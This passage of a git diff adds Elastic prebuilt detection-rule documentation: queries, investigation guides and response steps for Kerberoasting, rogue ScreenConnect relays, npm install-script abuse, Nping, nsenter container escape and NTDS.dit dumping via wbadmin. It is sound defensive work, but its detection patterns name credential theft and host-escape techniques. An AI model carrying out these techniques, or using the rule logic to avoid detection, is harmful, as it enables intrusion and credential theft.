days of inactivity, so confirm the event time aligns with its normal schedule and review adjacent 4769 activity to ensure the account is only accessing its usual limited set of services. + + +*Response and remediation* + + +- Isolate the requesting host and any other systems used by the compromised account from the network, block remote administration access, and preserve volatile and disk evidence before rebooting or rebuilding them. +- Disable the compromised requester account and the targeted service account, rotate passwords or keys for every exposed SPN-backed service they can access, and force logoff or ticket purge so previously issued Kerberos tickets cannot be reused. +- Remove attacker persistence by reviewing and deleting unauthorized scheduled tasks, services, startup items, WMI event subscriptions, remote access tools, Run key entries, and any newly granted local or domain group memberships tied to the affected identities or hosts. +- Restore affected endpoints and servers to a known-good state by reimaging compromised systems or rolling back unauthorized changes, then verify business applications start cleanly with the newly rotated service credentials. +- Escalate to incident response immediately if the targeted service account is privileged, tied to domain controllers or other Tier 0 systems, or if you also find credential dumping, lateral movement, multiple unusual SPN requests, or forged-ticket activity. +- Harden the environment by disabling RC4 where legacy dependencies permit it, enforcing AES-only Kerberos encryption on service accounts, migrating eligible services to gMSAs, reducing excessive service account privileges and SPNs, and adding detections for unusual service ticket bursts and new requester-to-service relationships. + + +==== Setup + + + +*Setup* + + +Audit Kerberos Service Ticket Operations must be enabled to generate the events used by this rule. +Setup instructions: https://ela.st/audit-kerberos-service-ticket-operations + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:windows and event.category:authentication and event.code:4769 and + winlog.event_data.Status:0x0 and winlog.event_data.TicketEncryptionType:0x17 and + winlog.event_data.TargetUserName:* and + winlog.event_data.ServiceName:(* and not (krbtgt or *$)) and + not (winlog.event_data.TargetUserName:*$@* and source.ip:(127.0.0.0/8 or "::1")) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal or Forge Kerberos Tickets +** ID: T1558 +** Reference URL: https://attack.mitre.org/techniques/T1558/ +* Sub-technique: +** Name: Kerberoasting +** ID: T1558.003 +** Reference URL: https://attack.mitre.org/techniques/T1558/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-newly-observed-screenconnect-host-server.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-newly-observed-screenconnect-host-server.asciidoc new file mode 100644 index 0000000000..9464b11c93 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-newly-observed-screenconnect-host-server.asciidoc @@ -0,0 +1,164 @@ +[[prebuilt-rule-8-19-34-newly-observed-screenconnect-host-server]] +=== Newly Observed ScreenConnect Host Server + +Detects when the ScreenConnect client (ConnectWise Control) connects to a newly observed host server that is not the official ScreenConnect cloud. ScreenConnect is a common RMM/remote access tool abused for C2 and persistence. Self-hosted or non-standard relay servers may indicate abuse or compromise. The rule aggregates by server host (parsed from the client command line), requires first-time observation within the rule window, and limits to a single host to reduce noise. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 6m + +*Searches indices from*: now-5d ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1219/002/ +* https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-025a + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Command and Control +* Resources: Investigation Guide +* Data Source: Elastic Defend +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Remote Management Tool Abuse +* Rule Type: ES|QL +* Platform: Windows + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Newly Observed ScreenConnect Host Server* + + + +*Possible investigation steps* + + +- What do the alert-preserved fields tell you about this new ScreenConnect relay? + - Focus: `Esql.screenconnect_server`, `Esql.user_name_values`, `Esql.first_time_seen`, `host.id`, `host.name`, and `process.command_line`; note `Esql.*` fields are alert-local, not source-event records. + - Implication: supports concern when the relay is an IP literal or unknown domain; weaker when it points to a recognized internal relay or managed service provider host. + +- Does the ScreenConnect client binary and install path match recognized software on this host? + - Focus: recover from source events via `process.entity_id`: `process.executable`, `process.pe.original_file_name`, `process.code_signature.subject_name`, and `process.code_signature.trusted`. !{investigate{"description":"","label":"Process events for the ScreenConnect client","providers":[[{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: suspicious when unsigned, portable, user-writable, or mismatched to its original file name; consistent only when signer and path match the expected ScreenConnect installation. + +- Does the parent and ancestry explain why this host initiated a new relay connection now? + - Focus: from the recovered source event: `process.parent.executable`, `process.parent.command_line`, `process.Ext.ancestry`, and `process.Ext.session_info.logon_type`. + - Implication: harder to justify when a script host, Office application, installer, or unexpected interactive session starts the client; easier to explain when the lineage resolves to a recognized service deployment or management tooling chain. + +- Do network events show the host contacting infrastructure consistent with the parsed relay? + - Why: `Esql.screenconnect_server` is an alert-level field, so source DNS and connection events are needed to confirm what the host actually contacted. + - Focus: DNS "lookup_result" events for `Esql.screenconnect_server` and connection events scoped to `process.entity_id` and `host.id`, checking `dns.question.name`, `dns.resolved_ip`, `destination.ip`, and `destination.as.organization.name`. !{investigate{"description":"","label":"Network events for the ScreenConnect client","providers":[[{"excluded":false,"field":"process.entity_id","queryType":"phrase","value":"{{process.entity_id}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: supports concern when the process reaches public infrastructure with unknown ownership, or when multiple destinations cluster around the same relay; less concerning when the infrastructure matches the relay and belongs to a known hosting provider. Missing network telemetry is unresolved, not benign. + +- Does the host context fit managed service provider or internal ScreenConnect use? + - Focus: `host.id` and `Esql.user_name_values` pairing, and whether the same `Esql.screenconnect_server`, signer, and parent workflow recur across a known admin host group. + - Implication: more concerning if ScreenConnect appears on end-user or sensitive hosts not typically managed remotely, or if the user and host evidence do not fit the expected workflow; more explainable when the same managed host group, operator identity, and deployment pattern recur together. + +- Have other hosts in the environment resolved the same ScreenConnect relay domain? + - Focus: DNS events across all hosts where `dns.question.name` matches the relay from `Esql.screenconnect_server` over the last 30 days. !{investigate{"description":"","label":"Hosts resolving the same ScreenConnect relay domain","providers":[[{"excluded":false,"field":"dns.question.name","queryType":"phrase","value":"{{Esql.screenconnect_server}}","valueType":"string"}]],"relativeFrom":"now-30d/d","relativeTo":"now"}} + - Implication: multiple unrelated hosts resolving the same relay suggests a campaign or broad rollout; a single host stays locally bounded. + +- Does this host show related alerts or adjacent remote-access tooling that suggest broader compromise? + - Focus: related alerts for the same `host.id` in the last 48 hours, plus adjacent remote-access, persistence, credential-access, or delivery activity, especially renamed or portable ConnectWise or ScreenConnect binaries tied to the same relay. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: suggests broader host compromise when the asset also shows suspicious precursor delivery, persistence, credential theft, or additional remote-access tooling; stays locally bounded when the surrounding alert history is limited to expected admin activity or unrelated benign activity. + +- Escalate when the relay, client identity, launch lineage, contacted infrastructure, or host spread point to unauthorized remote access; close only when all evidence aligns with a recognized ScreenConnect workflow; if mixed or incomplete, preserve and escalate. + + +*False positive analysis* + + +- Legitimate self-hosted ScreenConnect or managed service provider ConnectWise Control can trigger this rule. Confirm when the same `Esql.screenconnect_server`, recovered `process.executable`, signer, parent workflow, and DNS evidence all align with one recognized operator. If change records are unavailable, require the same client identity and admin host group to show prior new-relay alerts from this rule. +- Before creating an exception, confirm the relay is authorized through organizational records, then build the exception on the relay domain in `process.command_line`. Avoid exceptions on `host.name` or `host.id` alone, since the rule fires per host and those would suppress only one endpoint. + + +*Response and remediation* + + +- If confirmed benign, reverse any temporary containment and document the authorized relay, client signer and path, and source-event lineage. Build the exception on the relay domain in `process.command_line` once authorization is confirmed through organizational records. +- If suspicious but unconfirmed, preserve the alert's `process.entity_id`, `process.command_line`, `Esql.screenconnect_server`, and any linked `dns.question.name` or `destination.ip` evidence. Apply reversible containment such as temporary DNS or egress blocking for the relay host. Escalate to host isolation only when the relay, lineage, or network evidence shows meaningful risk and the host's support role can tolerate it. Avoid destructive cleanup until scope is clearer. +- If confirmed malicious, document the alert's `process.entity_id`, recovered `process.executable`, `process.code_signature.subject_name`, `process.command_line`, `Esql.screenconnect_server`, and any confirmed `dns.question.name` or `destination.ip` values before initiating response actions. Use available endpoint response integrations to isolate the host when the relay, client identity, lineage, or contacted infrastructure indicates unauthorized remote access. If direct endpoint response is unavailable, escalate with the documented artifacts to the team that can act. +- Review how the software was installed, who operated the relay, and whether additional remote-access tooling or credential exposure is present on the host. Then block the malicious relay host and any confirmed relay IPs, and remove or disable the unauthorized ScreenConnect client, service, persistence mechanism, or installer artifacts identified during the investigation. +- After containment, enforce approved-relay policy for remote-access tools and retain Elastic Defend process and network telemetry needed to validate future relay changes. + + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +from logs-endpoint.events.process-* +| where event.category == "process" and event.type == "start" and (process.name == "ScreenConnect.ClientService.exe" or process.code_signature.subject_name == "ConnectWise, LLC") +| grok process.command_line """e=Access&y=Guest&h=(?[^&]+)&p""" +| where Esql.screenconnect_server is not null and not Esql.screenconnect_server like "*.screenconnect.com" +| stats Esql.count_distinct_host_id = count_distinct(host.id), + Esql.first_time_seen = min(@timestamp), + Esql.user_name_values = values(user.name), + Esql.command_line_values = values(process.command_line), + Esql.host_id_values = values(host.id), + Esql.host_name_values = values(host.name), + Esql.process_entity_id_values = values(process.entity_id) by Esql.screenconnect_server +| eval Esql.recent = date_diff("minute", Esql.first_time_seen, now()) +| where Esql.recent <= 6 and Esql.count_distinct_host_id == 1 +| eval host.id = mv_first(Esql.host_id_values), + host.name = mv_first(Esql.host_name_values), + process.command_line = mv_first(Esql.command_line_values), + process.entity_id = mv_first(Esql.process_entity_id_values) +| keep host.id, host.name, process.command_line, process.entity_id, Esql.screenconnect_server, Esql.user_name_values, Esql.first_time_seen + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ +* Sub-technique: +** Name: Remote Desktop Software +** ID: T1219.002 +** Reference URL: https://attack.mitre.org/techniques/T1219/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-node-js-pre-or-post-install-script-execution.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-node-js-pre-or-post-install-script-execution.asciidoc new file mode 100644 index 0000000000..004e1ec26b --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-node-js-pre-or-post-install-script-execution.asciidoc @@ -0,0 +1,162 @@ +[[prebuilt-rule-8-19-34-node-js-pre-or-post-install-script-execution]] +=== Node.js Pre or Post-Install Script Execution + +This rule detects the execution of Node.js pre or post-install scripts. These scripts are executed by the Node.js package manager (npm) during the installation of packages. Adversaries may abuse this technique to execute arbitrary commands on the system and establish persistence. This activity was observed in the wild as part of the Shai-Hulud worm. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/blog/shai-hulud-worm-npm-supply-chain-compromise +* https://www.wiz.io/blog/shai-hulud-2-0-ongoing-supply-chain-attack +* https://www.elastic.co/blog/shai-hulud-worm-2-0-updated-response + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* OS: macOS +* Use Case: Threat Detection +* Tactic: Persistence +* Tactic: Execution +* Tactic: Defense Evasion +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Noise: Medium +* Performance: Normal +* Profile: Recommended +* Threat: Supply Chain +* Threat: Script-Based Execution +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Platform: macOS + +*Version*: 5 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by host.id with maxspan=10s + [process where host.os.type in ("linux", "macos") and event.type == "start" and event.action in ("exec", "ProcessRollup2", "start") and process.name == "node" and process.args == "install"] by process.entity_id + [process where host.os.type in ("linux", "macos") and event.type == "start" and event.action in ("exec", "ProcessRollup2", "start") and process.parent.name == "node"] by process.parent.entity_id + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: Unix Shell +** ID: T1059.004 +** Reference URL: https://attack.mitre.org/techniques/T1059/004/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ +* Technique: +** Name: User Execution +** ID: T1204 +** Reference URL: https://attack.mitre.org/techniques/T1204/ +* Sub-technique: +** Name: Malicious Library +** ID: T1204.005 +** Reference URL: https://attack.mitre.org/techniques/T1204/005/ +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Create or Modify System Process +** ID: T1543 +** Reference URL: https://attack.mitre.org/techniques/T1543/ +* Technique: +** Name: Hijack Execution Flow +** ID: T1574 +** Reference URL: https://attack.mitre.org/techniques/T1574/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: Supply Chain Compromise +** ID: T1195 +** Reference URL: https://attack.mitre.org/techniques/T1195/ +* Sub-technique: +** Name: Compromise Software Dependencies and Development Tools +** ID: T1195.001 +** Reference URL: https://attack.mitre.org/techniques/T1195/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-nping-process-activity.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-nping-process-activity.asciidoc new file mode 100644 index 0000000000..c7d02b74c9 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-nping-process-activity.asciidoc @@ -0,0 +1,187 @@ +[[prebuilt-rule-8-19-34-nping-process-activity]] +=== Nping Process Activity + +Nping ran on a Linux host. Nping is part of the Nmap tool suite and has the ability to construct raw packets for a wide variety of security testing applications, including denial of service testing. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-auditd_manager.auditd-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://en.wikipedia.org/wiki/Nmap + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Auditd Manager +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux + +*Version*: 214 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Nping Process Activity* + + +Nping, a component of the Nmap suite, is used for crafting raw packets, aiding in network diagnostics and security testing. Adversaries may exploit Nping to perform network reconnaissance or denial-of-service attacks by sending crafted packets to probe network services. The detection rule identifies Nping's execution on Linux systems by monitoring process start events, helping to flag potential misuse for malicious network discovery activities. + + +*Possible investigation steps* + + +- Review the process start event details to confirm the execution of Nping, focusing on the process name field to ensure it matches "nping". +- Identify the user account associated with the Nping process execution to determine if it aligns with expected or authorized usage patterns. +- Examine the command line arguments used with Nping to understand the intent of the execution, such as specific network targets or packet types. +- Check the timing and frequency of the Nping execution to assess if it correlates with any known maintenance windows or unusual activity patterns. +- Investigate network logs or traffic data to identify any unusual or unauthorized network scanning or probing activities originating from the host where Nping was executed. +- Correlate the Nping activity with other security alerts or logs from the same host to identify potential indicators of compromise or broader attack patterns. + + +*False positive analysis* + + +- Routine network diagnostics by IT teams using Nping for legitimate purposes can trigger alerts. To manage this, create exceptions for specific user accounts or IP addresses known to perform regular network testing. +- Automated scripts or monitoring tools that incorporate Nping for network health checks may cause false positives. Identify these scripts and whitelist their execution paths or associated processes. +- Security assessments or penetration tests conducted by authorized personnel might involve Nping usage. Coordinate with security teams to schedule these activities and temporarily adjust detection rules or add exceptions for the duration of the tests. +- Development or testing environments where Nping is used for application testing can generate alerts. Exclude these environments from monitoring or adjust the rule to ignore specific hostnames or network segments. +- Training sessions or workshops that include Nping demonstrations can lead to false positives. Notify the security team in advance and apply temporary exceptions for the event duration. + + +*Response and remediation* + + +- Immediately isolate the affected Linux host from the network to prevent further reconnaissance or potential denial-of-service attacks. +- Terminate the Nping process on the affected host to stop any ongoing malicious activity. +- Conduct a thorough review of recent network traffic logs from the affected host to identify any unusual or unauthorized network service discovery attempts. +- Check for any unauthorized changes or installations on the affected host that may indicate further compromise or persistence mechanisms. +- Update and apply network security policies to restrict the use of network diagnostic tools like Nping to authorized personnel only. +- Escalate the incident to the security operations team for further investigation and to determine if the activity is part of a larger attack campaign. +- Enhance monitoring and alerting for similar activities across the network by ensuring that detection rules are in place for unauthorized use of network diagnostic tools. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and + event.action in ("exec", "exec_event", "start", "ProcessRollup2", "executed", "process_started") and + process.name == "nping" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Network Service Discovery +** ID: T1046 +** Reference URL: https://attack.mitre.org/techniques/T1046/ +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Network Denial of Service +** ID: T1498 +** Reference URL: https://attack.mitre.org/techniques/T1498/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-nsenter-to-pid-namespace-via-auditd.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-nsenter-to-pid-namespace-via-auditd.asciidoc new file mode 100644 index 0000000000..840996b1fd --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-nsenter-to-pid-namespace-via-auditd.asciidoc @@ -0,0 +1,130 @@ +[[prebuilt-rule-8-19-34-nsenter-to-pid-namespace-via-auditd]] +=== Nsenter to PID Namespace via Auditd + +Detects nsenter executions that target PID with a namespace target flag, a pattern commonly used to attach to the host init namespace from a container or session and run with host context. + +*Rule type*: query + +*Rule indices*: + +* auditbeat-* +* logs-auditd_manager.auditd-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://attack.mitre.org/techniques/T1611/ +* https://man7.org/linux/man-pages/man1/nsenter.1.html + +*Tags*: + +* Domain: Endpoint +* Domain: Containers +* OS: Linux +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Data Source: Auditd Manager +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Profile: Recommended +* Threat: Container Escape +* Rule Type: Custom Query (KQL) +* Platform: Linux + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Nsenter to PID Namespace via Auditd* + + +Review process.args for the full nsenter invocation (target PID, mount, UTS, IPC, net, user namespaces), parent process, +user identity, and host. PID targeting is a strong escape or host-administration signal when unexpected for the actor. + + +*Possible investigation steps* + + +- Confirm whether the session originated from a container, SSH session, or automation agent. +- Pivot on the same host for subsequent writes under /etc, docker.sock access, or new systemd units. + + +*False positive analysis* + + +- Some CNI or snap workflows can resemble nsenter; rely on the built-in exclusions first, then tune by parent command + or service account. + + +*Response and remediation* + + +- If malicious, isolate the host, revoke credentials, inspect for persistence, and re-image if integrity cannot be proven. + + +==== Setup + + + +*Setup* + + +Deploy the Auditd Manager integration on Linux hosts that should emit process execution telemetry (Fleet, Integrations, +Auditd Manager, attach to an agent policy). + +Ensure syscall rules capture execve for utilities such as nsenter so event.category process and event.action executed +populate with process.name and process.args. + +See https://docs.elastic.co/integrations/auditd_manager for integration details. + + +==== Rule query + + +[source, js] +---------------------------------- +host.os.type:linux and event.category:process and event.action:(exec or executed) and +(process.name:nsenter or process.args:nsenter) and +process.args:( + (-t or --target*) and + not --net=/run/netns/* and + not (--assertion and snap) and + not (is-active and snap.*) and + not (-anp and netstat) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Escape to Host +** ID: T1611 +** Reference URL: https://attack.mitre.org/techniques/T1611/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ntds-dump-via-wbadmin.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ntds-dump-via-wbadmin.asciidoc new file mode 100644 index 0000000000..c68b82fd05 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-ntds-dump-via-wbadmin.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-34-ntds-dump-via-wbadmin]] +=== NTDS Dump via Wbadmin + +Identifies the execution of wbadmin to access the NTDS.dit file in a domain controller. Attackers with privileges from groups like Backup Operators can abuse the utility to perform credential access and compromise the domain. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://medium.com/r3d-buck3t/windows-privesc-with-sebackupprivilege-65d2cd1eb960 + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating NTDS Dump via Wbadmin* + + +Wbadmin is a Windows utility for backup and recovery, often used by administrators to safeguard critical data. However, adversaries with sufficient privileges, such as those in the Backup Operators group, can exploit it to access the NTDS.dit file on domain controllers, which contains sensitive credential information. The detection rule identifies suspicious use of wbadmin by monitoring for its execution with specific arguments related to NTDS.dit, helping to flag potential credential dumping activities. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the presence of wbadmin.exe with the specific arguments related to NTDS.dit, as indicated by the process.command_line field. +- Check the user account associated with the process execution to determine if it belongs to a privileged group such as Backup Operators, which could indicate potential misuse of privileges. +- Investigate the source host identified by host.os.type to determine if it is a domain controller, as this would be a critical factor in assessing the risk of the activity. +- Correlate the event with other security logs or alerts from data sources like Microsoft Defender XDR or Sysmon to identify any related suspicious activities or patterns. +- Examine recent changes or access attempts to the NTDS.dit file on the domain controller to identify any unauthorized access or modifications. +- Assess the risk score and severity level to prioritize the investigation and determine if immediate response actions are necessary. + + +*False positive analysis* + + +- 